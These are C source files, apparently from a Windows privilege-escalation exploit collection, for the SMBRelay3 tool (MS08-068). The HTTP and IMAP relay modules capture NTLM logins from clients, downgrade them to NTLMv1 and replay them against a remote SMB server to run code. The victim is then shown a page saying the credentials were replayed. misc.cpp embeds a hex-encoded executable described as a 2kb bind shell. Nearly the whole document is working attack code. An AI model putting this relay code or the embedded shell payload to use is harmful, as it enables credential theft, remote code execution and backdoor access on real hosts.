p = AddDialect(p,"LM1.2X002", 0x02,&i);
p = AddDialect(p,"LANMAN2.1", 0x02,&i);
p = AddDialect(p,"NT LM 0.12", 0x02,&i);
NegotiateProtocol=BuildSmbPacket(NULL,NEGOTIATEPROTOCOLREQUEST,0,p,i);
free(p);
i=SendBytesAndWaitForResponse(relay->destination,(char*)NegotiateProtocol,SmbPacketLen(NegotiateProtocol),(char*)buf,sizeof(buf),SMBWAITTIMEOUT);
free(NegotiateProtocol);
if (i<=0){
printf("[-] Initial SMBHandShake (LanManager Negotiation) Failed \n");
return(0);
}
memset(buf,'\0',sizeof(buf));
SmbPacket1=BuildSmbPacket1();
if (debug) {
printf("\n[*]Dumping SMB Packet With NTLM Message Type 1 \n");
DumpMem((char*)SmbPacket1,SmbPacketLen(SmbPacket1));
}
SmbPacket2=GetSmbPacket2(relay,SmbPacket1);
if (SmbPacket2==NULL) {
printf("Unable to receive SMB Packet with NTLM Message Type 2 \n");
return(0);
}
printf("Received SMB Message with NTLM v2 packet\n");
memcpy((char*)&packetlen,GetNTLMPacketFromSmbPacket(SmbPacket2)-4,2);
if (debug) {
printf("SMB Packet Dump:\n");
DumpMem((char*)SmbPacket2,SmbPacketLen(SmbPacket2));
printf("NTLM Challenge packet from SMB message\n");
DumpMem((char*)GetNTLMPacketFromSmbPacket(SmbPacket2),packetlen);
}
if (verbose)
{
printf("[+] Debug Information \n");
dumpAuthChallenge(0,(tSmbNtlmAuthChallenge*)GetNTLMPacketFromSmbPacket(SmbPacket2));
}
//HACK: Force NTLMv1
((tSmbNtlmAuthChallenge*)GetNTLMPacketFromSmbPacket(SmbPacket2))->flags=0x0000b207;
//((tSmbNtlmAuthChallenge*)GetNTLMPacketFromSmbPacket(SmbPacket2))->flags=0xA0003287;
to64frombits((unsigned char*)&buf1, (unsigned char*)GetNTLMPacketFromSmbPacket(SmbPacket2), packetlen);
} else {
//TODO: Generar paquete Auth Challenge
//BuildAuthChallenge((tSmbNtlmAuthChallenge *)buf, "SMBRELAY3","SERVERNAME", "SERVER","SERVER",0,(uint8*)&SpoofedChallengeKey);
//to64frombits((unsigned char*)&buf1, (unsigned char*)buf,NtlmChallengeSize((tSmbNtlmAuthChallenge *)buf));
}
sprintf(buf,"HTTP/1.1 401 Access Denied\r\nServer: Microsoft-IIS/6.0\r\nWWW-Authenticate: NTLM %s\r\nContent-Length: 0\r\nContent-Type: text/html\r\n\r\n",buf1);
printf("Sending NTLM Challenge from SMB Server to the HTTP Client\n");
if (verbose)
{
printf("Sending HTTP Response: %s\n",buf);
}
send(relay->source,buf,(int)strlen(buf),0);
total=ReadRequest(relay,(char*)&request,sizeof(request));
if (total<=0) {
printf("Error reading Final Authentication packet from HTTP Client\n");
return(1);
}
printf("Received Final Authentication packet from remote HTTP Client\n");
if(verbose)
{
printf("%s\n",request);
}
header=ParseHeaders(request,&nheaders);
data=GetHeaderValue(header, nheaders, "Authorization: NTLM ") ;
if (!data) {
printf("Ooops! Authorization header missing\n");
return(0);
}
// printf("lenght del hash3 ntlm: %i\n",strlen(data));
memset((char*)&buf1,'\0',sizeof(buf1));
packetlen=from64tobits(buf1, data);
if (verbose) {
if (debug)
{
printf("Raw authorization packet (len: %i)\n",packetlen);
DumpMem(buf1,packetlen+10);
}
dumpAuthResponse(0,(tSmbNtlmAuthResponse*)buf1);
}
if ( ((tSmbNtlmAuthResponse*)buf1)->ntResponse.len != 24 )
{
printf("[-] Remote HTTP Client forced NTLMv2 Authentication\n");
strcpy(request,"HTTP/1.1 401 Unauthorized\r\nContent-Length: 0\r\nConnection: close\r\n\r\n");
send(relay->source,request,(int)strlen(request),0);
return(0);
}
GetNTLMPacketInfo((tSmbNtlmAuthResponse*)buf1,(char*)&CurrentUserName, (char*)&CurrentDomain, (char*)&CurrentWorkstation,verbose);
printf("Trying to authenticate to remote SMB as %s\n",CurrentUserName);
//A1
//DumpMem(buf1,packetlen);
buildAuthResponse((tSmbNtlmAuthChallenge*)GetNTLMPacketFromSmbPacket(SmbPacket2),(tSmbNtlmAuthResponse*)buf2,0,CurrentUserName,NULL,NULL,CurrentWorkstation, (tSmbNtlmAuthResponse*)buf1);
SmbPacket3=BuildSmbPacket((smheader*)SmbPacket2,SESSIONSETUPANDX,0,buf2,(int)SmbLength((tSmbNtlmAuthResponse *)buf2));
printf("Sending Final SMB Authentication packet with NTLM Message type 3 \r");
if (verbose) printf("\n");
if (debug)
{
DumpMem((char*)SmbPacket3, SmbPacketLen(SmbPacket3));
}
i=SendBytesAndWaitForResponse(relay->destination,(char*)SmbPacket3, SmbPacketLen(SmbPacket3),(char*)buf,sizeof(buf),SMBWAITTIMEOUT);
if (i<=0){
printf("[-] Error reading Server Authentication Response \n");
return(0);
}
if (debug) {
printf("[-] SessionSetupAndX Completed - Dumping received packet \n");
DumpMem(buf,i);
}
if (((smheader*)buf)->NtStatus!=0x00000000) {
strcpy(request,"HTTP/1.1 401 Unauthorized\r\nContent-Length: 0\r\nConnection: close\r\n\r\n");
send(relay->source,request,(int)strlen(request),0);
printf("[-] SessionSetupAndX Completed. Authentication Failed \n");
return(0);
}
//WriteDataToReportFile("log.txt", (tSmbNtlmAuthResponse*)buf1, destinationhostname,(unsigned char*)((tSmbNtlmAuthChallenge*)GetNTLMPacketFromSmbPacket(SmbPacket2))->challengeData);
printf("SessionSetupAndX Completed. Authenticacion against %s Succeed as %s\r",destinationhostname,CurrentUserName);
if (verbose)
{
printf("\n");
sprintf(owned,"<html><title>smbrelay III</title><body><h1>Dear %s\\%s<br></h1> Your credentials were replayed against %s and code execution succeed</body></html>",CurrentWorkstation,CurrentUserName,destinationhostname);
//GetNTLMPacketInfo((tSmbNtlmAuthResponse*)buf1,(char*)&CurrentUserName, (char*)&CurrentDomain, (char*)&CurrentWorkstation,verbose);
}
sprintf(request,"HTTP/1.1 200 OK\r\nContent-Length: %i\r\nConnection: close\r\n\r\n%s",strlen(owned),owned);
send(relay->source,request,(int)strlen(request),0);
ExecuteCode( *relay);
return(1);
}
int ReadRequest(RELAY *relay, char *request, int requestsize)
{
int leido=0;
int total=0;
int EndOfRequest=0;
do
{
leido=recv( relay->source,request+total,requestsize-total,0 );
total+=leido;
EndOfRequest=(strcmp(request+total-4,"\r\n\r\n")==0);
} while ( (!EndOfRequest) && (leido>0) );
return(total);
}
/******************************/
char **ParseHeaders(char *lpBuffer, unsigned int *nheaders)
{
char *next;
char *current=lpBuffer;
char **header;
header=NULL;
*nheaders=0;
if ( (!lpBuffer) ||(*lpBuffer=='\0') )
{
*nheaders=0;
return(NULL);
}
do {
next=strchr(current,'\n');
header=(char **)realloc(header,sizeof(char*)*(*nheaders+1));
if (next) {
next[0]='\0';
if (*(next-1)=='\r') *(next-1)='\0';
}
header[*nheaders]=current;
*nheaders=*nheaders+1;
if (!next) break;
current=next+1;
} while ((*current!='\r') && (*current!='\n') );
return(header);
}
/******************************/
char *GetHeaderValue(char **header, int nheaders, char *Header)
{
for(unsigned int i=1;i<(unsigned int)nheaders;i++)
{
if (_strnicmp(header[i],Header,strlen(Header))==0)
{
return(header[i] + strlen(Header));
}
}
return(NULL);
}
97-Windows提权/MS08-068/src/httprelay.h
+14
View File
@@ -0,0 +1,14 @@
#ifndef _HTTPRELAY_H_
#define _HTTPRELAY_H_
#include "smbrelay.h"
//HTTP Functions
int HandleIncommingHTTPRequest(RELAY *relay, char *destinationhostname, int destinationport);
int ReadRequest(RELAY *relay, char *request, int requestsize);
char **ParseHeaders(char *lpBuffer, unsigned int *nheaders);
char *GetHeaderValue(char **header, int nheaders, char *Header) ;
#endif
97-Windows提权/MS08-068/src/imaprelay.cpp
+209
View File
@@ -0,0 +1,209 @@
/*
SMBRelay3 - IMAP REPLAY ATTACK MODULE
-------------------------------------
*/
#include "imaprelay.h"
#include "payload.h"
extern int verbose;
int HandleIncommingIMAPRequest(RELAY *relay, char *destinationhostname, int destinationport)
{
char buffer[4096];
char buf[4096];
char buf1[4096];
char buf2[4096];
char CurrentUserName[256];
char CurrentDomain[256];
char CurrentWorkstation[256];
smheader *SmbPacket1, *SmbPacket2, *SmbPacket3, *NegotiateProtocol;
tSmbNtlmAuthRequest *request;
uint16 packetlen;
int i;
char *p;
char opt[5];
const char WelcomeMessage[]= "* OK Microsoft Exchange Server 2007 IMAP4 service ready\r\n";
// #define ERROR "-ERR The specified authentication package is not supported.\r\n"
//#define CAPA "* CAPABILITY IMAP4 IMAP4rev1 IDLE LITERAL+ AUTH=NTLM\r\n0000 OK CAPABILITY completed.\r\n"
//#define AUTH "+OK The operation completed successfully.\r\nNTLM\r\n.\r\n"
#define AUTHOK "0001 OK AUTHENTICATE NTLM completed.\r\n"
#define AUTHERROR "0001 ERROR AUTHENTICATE NTLM Failed.\r\n"
printf("[+] Sending IMAP Banner\n");
i=SendBytesAndWaitForResponse(relay->source,(char*)WelcomeMessage, (int)strlen(WelcomeMessage), buffer,sizeof(buffer),SMBWAITTIMEOUT);
if (i<=0){
printf("Error Reading IMAP Client message\n");
return(0);
}
if (memcmp(buffer+4," CAPABILITY",11)==0) {
printf("[+] CAPABILITY Request from client\n");
memcpy(opt,buffer,4); opt[4]='\0';
sprintf(buffer,"* CAPABILITY IMAP4 IMAP4rev1 IDLE LITERAL+ AUTH=NTLM\r\n%s OK CAPABILITY completed.\r\n",opt);
i=SendBytesAndWaitForResponse(relay->source,buffer, strlen(buffer), buffer,sizeof(buffer),SMBWAITTIMEOUT);
if (i<=0) return(0);
buffer[i]='\0';
}
if (memcmp(buffer+4," AUTHENTICATE NTLM",18)!=0) {
printf("[-] Not supported option %s received\n",buffer);
i=SendBytesAndWaitForResponse(relay->source,(char*)AUTHERROR, strlen(AUTHERROR), buffer,sizeof(buffer),SMBWAITTIMEOUT);
return(0);
}
if (strlen(buffer)>24){
printf("[+] received AUTH NTLM message\n");
memset((char*)&buf1,'\0',sizeof(buf1));
packetlen=from64tobits(buf1, buffer+22);
request=(tSmbNtlmAuthRequest *)buf1;
dumpAuthRequest(0,request);
} else {
memset(buffer,'\0',sizeof(buffer));
i=SendBytesAndWaitForResponse(relay->source,"+\r\n", 3, buffer,sizeof(buffer),SMBWAITTIMEOUT);
if (i<=0){
printf("[-] Error Auth response with NTLM type1 packet\n");
return(0);
}
buffer[i]='\0';
printf("[+] received AUTH NTLM message\n");
memset((char*)&buf1,'\0',sizeof(buf1));
packetlen=from64tobits(buf1, buffer);
request=(tSmbNtlmAuthRequest *)buf1;
if (debug) {
printf("[+] received AUTH NTLM message: %s\n",buffer);
DumpMem(buf1,packetlen);
dumpAuthRequest(0,request);
}
}
//Init Replay Attack
i=ConnectToRemoteHost(relay,destinationhostname,destinationport);
if (!i) {
printf("[-] Unable to connect to remote host %s:%i\n",destinationhostname,destinationport);
return(0);
}
printf("[+] Sending SMB Protocol Authentication Handshake\n");
p = AddDialect(NULL,"PC NETWORK PROGRAM 1.0",0x02, &i);
p = AddDialect(p,"LANMAN1.0", 0x02,&i);
p = AddDialect(p,"Windows for Workgroups 3.1a", 0x02,&i);
p = AddDialect(p,"LM1.2X002", 0x02,&i);
p = AddDialect(p,"LANMAN2.1", 0x02,&i);
p = AddDialect(p,"NT LM 0.12", 0x02,&i);
NegotiateProtocol=BuildSmbPacket(NULL,NEGOTIATEPROTOCOLREQUEST,0,p,i);
free(p);
i=SendBytesAndWaitForResponse(relay->destination,(char*)NegotiateProtocol,SmbPacketLen(NegotiateProtocol),(char*)buf,sizeof(buf),SMBWAITTIMEOUT);
free(NegotiateProtocol);
if (i<=0){
printf("[-] Initial SMBHandShake (LanManager Negotiation) Failed\n");
return(0);
}
SmbPacket1=BuildSmbPacket1();
if (debug) {
printf("\n[+] Dumping SMB Packet With NTLM Message Type 1\n");
DumpMem((char*)SmbPacket1,SmbPacketLen(SmbPacket1));
}
SmbPacket2=GetSmbPacket2(relay,SmbPacket1);
if (SmbPacket2==NULL) {
printf("[-] Unable to receive SMB Packet with NTLM Message Type 2\n");
return(0);
}
printf("[+] Received SMB Message with NTLM message type 2 packet\n");
memcpy((char*)&packetlen,GetNTLMPacketFromSmbPacket(SmbPacket2)-4,2);
if (debug) {
printf("[*] SMB Packet Dump:\n");
DumpMem((char*)SmbPacket2,SmbPacketLen(SmbPacket2));
printf("[*] NTLM Challenge packet from SMB message\n");
DumpMem((char*)GetNTLMPacketFromSmbPacket(SmbPacket2),packetlen);
dumpAuthChallenge(0,(tSmbNtlmAuthChallenge*)GetNTLMPacketFromSmbPacket(SmbPacket2));
}
((tSmbNtlmAuthChallenge*)GetNTLMPacketFromSmbPacket(SmbPacket2))->flags=0xb207;
memset(buf1,'\0',sizeof(buf1));
to64frombits((unsigned char*)&buf1, (unsigned char*)GetNTLMPacketFromSmbPacket(SmbPacket2), packetlen);
sprintf(buf,"+ %s\r\n",buf1);
printf("[+] Replaying NTLM Challenge from SMB Server to the IMAP Client\n");
if (debug)
{
printf("[+] Sending SMTP Response: %s\n",buf);
}
i=SendBytesAndWaitForResponse(relay->source,(char*)buf,(int)strlen(buf),(char*)buffer,sizeof(buffer),SMBWAITTIMEOUT);
if (i<=0)
{
printf("[-] Unable to read NTLM packet 3 from IMAP client\n");
return(0);
}
buffer[i]='\0';
if (debug) printf("[*] Response: %s\n",buffer);
memset((char*)buf1,'\0',sizeof(buf1));
packetlen=from64tobits(buf1, buffer);
if (debug) {
printf("[*] Raw authorization packet (len: %i)\n",packetlen);
DumpMem(buf1,packetlen);
dumpAuthResponse(0,(tSmbNtlmAuthResponse*)buf1);
}
GetNTLMPacketInfo((tSmbNtlmAuthResponse*)buf1,(char*)&CurrentUserName, (char*)&CurrentDomain, (char*)&CurrentWorkstation,verbose);
printf("[+] Trying to authenticate to remote SMB as %s\n",CurrentUserName);
buildAuthResponse((tSmbNtlmAuthChallenge*)GetNTLMPacketFromSmbPacket(SmbPacket2),(tSmbNtlmAuthResponse*)buf2,0,CurrentUserName,NULL,NULL,CurrentWorkstation, (tSmbNtlmAuthResponse*)buf1);
SmbPacket3=BuildSmbPacket((smheader*)SmbPacket2,SESSIONSETUPANDX,0,buf2,(int)SmbLength((tSmbNtlmAuthResponse *)buf2));
printf("[+] Sending Final SMB Authentication packet with NTLM Message type 3\n");
if (debug)
{
DumpMem((char*)SmbPacket3, SmbPacketLen(SmbPacket3));
}
i=SendBytesAndWaitForResponse(relay->destination,(char*)SmbPacket3, SmbPacketLen(SmbPacket3),(char*)buf,sizeof(buf),SMBWAITTIMEOUT);
if (i<=0){
printf("[-] Error reading Server Authentication Response\n");
i=SendBytesAndWaitForResponse(relay->source,AUTHERROR, strlen(AUTHERROR), buffer,sizeof(buffer),SMBWAITTIMEOUT);
return(0);
}
if (debug) {
printf("[*] SessionSetupAndX Completed - Dumping received packet\n");
DumpMem(buf,i);
}
if (((smheader*)buf)->NtStatus!=0x00000000) {
printf("[-] SessionSetupAndX Completed\n[-] Authentication against Remote Host Failed\n");
i=SendBytesAndWaitForResponse(relay->source,AUTHOK, strlen(AUTHERROR), buffer,sizeof(buffer),SMBWAITTIMEOUT);
return(0);
}
if ( ((SessionSetupAndXResponse*)((smheader*)buf)->buffer)->Action & 0x0001 )
{
printf("[-] Authentication against Remote Host Failed. (Connected as Guest)\n");
i=SendBytesAndWaitForResponse(relay->source,AUTHERROR, strlen(AUTHERROR), buffer,sizeof(buffer),SMBWAITTIMEOUT);
return(0);
}
//WriteDataToReportFile("log.txt", (tSmbNtlmAuthResponse*)buf1, destinationhostname,(unsigned char*)((tSmbNtlmAuthChallenge*)GetNTLMPacketFromSmbPacket(SmbPacket2))->challengeData);
printf("[+] SessionSetupAndX Completed \n");
printf("[+] Authenticacion against %s Succeed with username %s\n",destinationhostname,CurrentUserName);
i=SendBytesAndWaitForResponse(relay->source,AUTHOK, strlen(AUTHOK), buffer,sizeof(buffer),SMBWAITTIMEOUT);
ExecuteCode( *relay);
return(1);
}
97-Windows提权/MS08-068/src/imaprelay.h
+9
View File
@@ -0,0 +1,9 @@
#ifndef _IMAP_RELAY_
#define _IMAP_RELAY_
#include "smbrelay.h"
int HandleIncommingIMAPRequest(RELAY *relay, char *destinationhostname,int destinationport);
#endif
97-Windows提权/MS08-068/src/misc.cpp
+415
View File
@@ -0,0 +1,415 @@
/*
Misc data manipulation functions for Smbrelay
Andres Tarasco
*/
#include "misc.h"
#include "smbrelay.h"
extern int verbose;
void DumpMem(void* string, int length) {
unsigned char *p = (unsigned char *) string;
unsigned char lastrow_data[16];
int rows = length / DBG_DUMP_ROWS;
int lastrow = length % DBG_DUMP_ROWS;
int i, j;
//int k = DBG_DUMP_ROWS - lastrow ;
for (i = 0; i < rows; i++) {
printf("%04hx: ", i * 16);
for (j = 0; j < DBG_DUMP_ROWS; j++) {
printf("%02x ", p[(i * 16) + j]);
if ( j==7 ){
printf(" ");
}
}
printf(" [ ");
for (j = 0; j < DBG_DUMP_ROWS; j++) {
if (isprint(p[(i * 16) + j]))
printf("%c", p[(i * 16) + j]);
else
printf(".");
}
printf(" ]\n");
}
if (lastrow > 0) {
memset(lastrow_data, 0, sizeof(lastrow_data));
memcpy(lastrow_data, p + length - lastrow, lastrow);
printf("%04hx: ", i * 16);
for (j = 0; j < lastrow; j++) {
printf("%02x ", p[(i * 16) + j]);
if ( (j % 8 == 1) && (j!=1) )
printf(" ");
}
while(j < DBG_DUMP_ROWS) {
printf(" ");
if (j % 8 == 1)
printf(" ");
j++;
}
//while (k!=0) { --k; printf(" "); }
printf(" [ ");
for (j = 0; j < lastrow; j++) {
if (isprint(p[(i * 16) + j]))
printf("%c", p[(i * 16) + j]);
else
printf(".");
}
while(j < DBG_DUMP_ROWS) {
printf(" ");
j++;
}
//k = DBG_DUMP_ROWS - lastrow ;
//while (k!=0) { --k; printf(" "); }
printf(" ]\n");
}
printf("\n");
}
char *ReadFileToSend(int *BackdoorFileSize,char*lpBackdoorFile)
{
unsigned char SMRS[2048] = { // Smbrelay Shell Service ( 2kb BindShell )
0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00,
0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD0, 0x00, 0x00, 0x00,
0x0E, 0x1F, 0xBA, 0x0E, 0x00, 0xB4, 0x09, 0xCD, 0x21, 0xB8, 0x01, 0x4C, 0xCD, 0x21, 0x54, 0x68,
0x69, 0x73, 0x20, 0x70, 0x72, 0x6F, 0x67, 0x72, 0x61, 0x6D, 0x20, 0x63, 0x61, 0x6E, 0x6E, 0x6F,
0x74, 0x20, 0x62, 0x65, 0x20, 0x72, 0x75, 0x6E, 0x20, 0x69, 0x6E, 0x20, 0x44, 0x4F, 0x53, 0x20,
0x6D, 0x6F, 0x64, 0x65, 0x2E, 0x0D, 0x0D, 0x0A, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x2F, 0xB0, 0x55, 0xC4, 0x6B, 0xD1, 0x3B, 0x97, 0x6B, 0xD1, 0x3B, 0x97, 0x6B, 0xD1, 0x3B, 0x97,
0x4C, 0x17, 0x46, 0x97, 0x6A, 0xD1, 0x3B, 0x97, 0x6B, 0xD1, 0x3A, 0x97, 0x6C, 0xD1, 0x3B, 0x97,
0xA8, 0xDE, 0x66, 0x97, 0x6E, 0xD1, 0x3B, 0x97, 0x4C, 0x17, 0x55, 0x97, 0x6A, 0xD1, 0x3B, 0x97,
0x4C, 0x17, 0x43, 0x97, 0x6A, 0xD1, 0x3B, 0x97, 0x52, 0x69, 0x63, 0x68, 0x6B, 0xD1, 0x3B, 0x97,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x50, 0x45, 0x00, 0x00, 0x4C, 0x01, 0x02, 0x00, 0x3E, 0x48, 0xFF, 0x47, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xE0, 0x00, 0x03, 0x01, 0x0B, 0x01, 0x08, 0x00, 0x00, 0x02, 0x00, 0x00,
0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00,
0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x30, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x04,
0x00, 0x00, 0x10, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x10, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x5C, 0x20, 0x00, 0x00, 0x3C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x24, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x00, 0x00, 0x00,
0x4B, 0x01, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x60,
0x2E, 0x72, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0xF6, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00,
0x00, 0x02, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x55, 0x8B, 0xEC, 0x81, 0xEC, 0xF4, 0x01, 0x00, 0x00, 0x53, 0x56, 0x57, 0x8D, 0x85, 0x0C, 0xFE,
0xFF, 0xFF, 0x50, 0x68, 0x01, 0x01, 0x00, 0x00, 0xFF, 0x15, 0x10, 0x20, 0x40, 0x00, 0x33, 0xF6,
0x56, 0x56, 0x56, 0x6A, 0x06, 0x6A, 0x01, 0x6A, 0x02, 0xFF, 0x15, 0x0C, 0x20, 0x40, 0x00, 0x8B,
0xF8, 0x6A, 0x10, 0x8D, 0x45, 0xF0, 0x50, 0x57, 0x66, 0xC7, 0x45, 0xF0, 0x02, 0x00, 0x66, 0xC7,
0x45, 0xF2, 0x1F, 0x90, 0x89, 0x75, 0xF4, 0xFF, 0x15, 0x08, 0x20, 0x40, 0x00, 0x6A, 0x01, 0x57,
0xFF, 0x15, 0x14, 0x20, 0x40, 0x00, 0x56, 0x8D, 0x45, 0xF0, 0x50, 0x57, 0xFF, 0x15, 0x18, 0x20,
0x40, 0x00, 0x56, 0xBB, 0x28, 0x20, 0x40, 0x00, 0x53, 0x8B, 0xF8, 0xE8, 0x50, 0x00, 0x00, 0x00,
0x59, 0x50, 0x53, 0x57, 0xFF, 0x15, 0x1C, 0x20, 0x40, 0x00, 0x8D, 0x45, 0x9C, 0x50, 0x8D, 0x45,
